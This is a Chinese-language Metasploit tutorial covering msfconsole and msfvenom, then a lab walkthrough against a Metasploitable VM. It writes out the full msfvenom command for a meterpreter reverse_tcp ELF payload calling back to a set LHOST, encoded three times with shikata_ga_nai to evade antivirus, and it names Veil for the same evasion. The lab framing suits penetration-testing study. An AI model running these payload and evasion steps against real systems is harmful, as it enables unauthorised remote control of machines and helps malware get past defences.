metasploit介绍
几乎每一个玩渗透的人都会接触到metasploit framework,简称msf。这是一个渗透测试框架,用ruby语言写的,该框架集成了很多可用的exploit,比如著名的ms08_067等。你可以在这个框架下进行一系列的渗透测试,利用现有的payload,如meterpreter等进一步拿取对方的shell。下载的地址在github上面,git clone该项目到本地进行安装即可。
常用工具介绍
msfconsole
这是启动msf的终端命令,注意因为现在msf默认的数据库是postgresql,所以在启动msf之前需要先启动postgresql数据库。
在终端中输入msfconsole即可启动msf,如果不清楚msfconsole的功能可以在终端中输入
msfconsole -h
即可学习msfconsole相关的options。
例如:
在msfconsole中需要注意的是,msfconsole不仅是直接启动msf的工具,还能用msf执行第三方相应的payload文件。
msfconsole -r payload.file
这个功能与veil配合起来很好使。veil是编码payload的神器,专门用来过杀软的,在生成相应的stagers型的payload时,也会生成stages型的payload供渗透端调用,该payload与msf兼容。
msfvenom
在之前的msf版本中会有msfencode,msfpayload等工具,学习成本比较高,现在这些工具已经被废弃了。取而代之的是msfvenom工具,可以看做它是msfencode与msfpayload的结合版,它允许你自行生成想要的payload。
想要学习msfvenom,可以在终端中打:
msfvenom -h
可以看到msfvenom的介绍。
如果你需要看到msfvenom现有的payload,可以用
msfvenom -l payloads
查看所有可利用的payloads。
下面我们用linux/x86/meterpreter/reverse_tcp这个payload来演示生成可x86架构下可执行的elf文件。
只需在命令行中输入:
[email protected] ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options
即可看到该payload的参数选项:
值得注意的是arch选项,用来表示该payload适用的内核架构,如果是x86架构的内核,可以正常运行,但是如果是x64架构的内核就不能运行。x86_64架构的内核是既能运行32位程序,又能运行64位程序。
关于如何查看内核架构,可以:
[email protected] ~ $ uname -a
Linux freestyle4568 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
[email protected]:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
可以看到msfadmin的内核架构是x86架构,i686架构也是x86的一种,该平台上只能运行32位程序。
下面我们生成一个metasploitable上的payload可执行程序:
[email protected] ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 -f elf -e x86/shikata_ga_nai -i 3 -o shell
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai succeeded with size 125 (iteration=1)
x86/shikata_ga_nai succeeded with size 152 (iteration=2)
x86/shikata_ga_nai chosen with final size 152
Payload size: 152 bytes
Final size of elf file: 236 bytes
Saved as: shell
可以看到未设置的options是用payload中默认的选项。下面shell文件即为elf可执行文件,适用与x86的linux内核上。同时我们x86/shikata_ga_nai编码对它进行3次编码,为了免杀(当然这个目前会被360检测出来,以后可以用更加高级的免杀工具,这里为了实验)。
我们将它拷贝进入metasploitable系统中,我们在freestyle4568系统中用相应的handler进行监听了连接。
freestyle4568@freestyle4568 ~ $ scp shell msfadmin@192.168.1.103:/home/msfadmin
msfadmin@192.168.1.103‘s password:
shell 100% 236 0.2KB/s 00:00
在msfadmin中运行shell文件,然后在freestyle4568中用msf进行侦听。
OK啦!现在拿到了meterpreter,现在基本已经控制了192.168.1.103了。
关于meterpreter,有空再另开一篇,因为这个payloader太强大了。